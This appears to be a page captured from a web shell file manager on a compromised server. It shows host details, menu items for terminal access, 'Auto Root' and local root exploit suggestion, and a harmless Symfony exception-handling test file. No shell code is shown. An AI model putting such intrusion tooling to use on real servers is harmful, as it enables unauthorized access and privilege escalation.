Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.145.158.137
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
symfony /
debug /
Tests /
phpt /
Delete
Unzip
Name
Size
Permission
Date
Action
debug_class_loader.phpt
1019
B
-rw-r--r--
2018-11-28 09:00
decorate_exception_hander.phpt
989
B
-rw-r--r--
2018-11-28 09:00
exception_rethrown.phpt
718
B
-rw-r--r--
2018-11-28 09:00
fatal_with_nested_handlers.phpt
1.03
KB
-rw-r--r--
2018-11-28 09:00
Save
Rename
--TEST-- Test rethrowing in custom exception handler --FILE-- <?php namespace Symfony\Component\Debug; $vendor = __DIR__; while (!file_exists($vendor.'/vendor')) { $vendor = \dirname($vendor); } require $vendor.'/vendor/autoload.php'; if (true) { class TestLogger extends \Psr\Log\AbstractLogger { public function log($level, $message, array $context = array()) { echo $message, "\n"; } } } set_exception_handler(function ($e) { echo 123; throw $e; }); ErrorHandler::register()->setDefaultLogger(new TestLogger()); ini_set('display_errors', 1); throw new \Exception('foo'); ?> --EXPECTF-- Uncaught Exception: foo 123 Fatal error: Uncaught %s:25 Stack trace: %a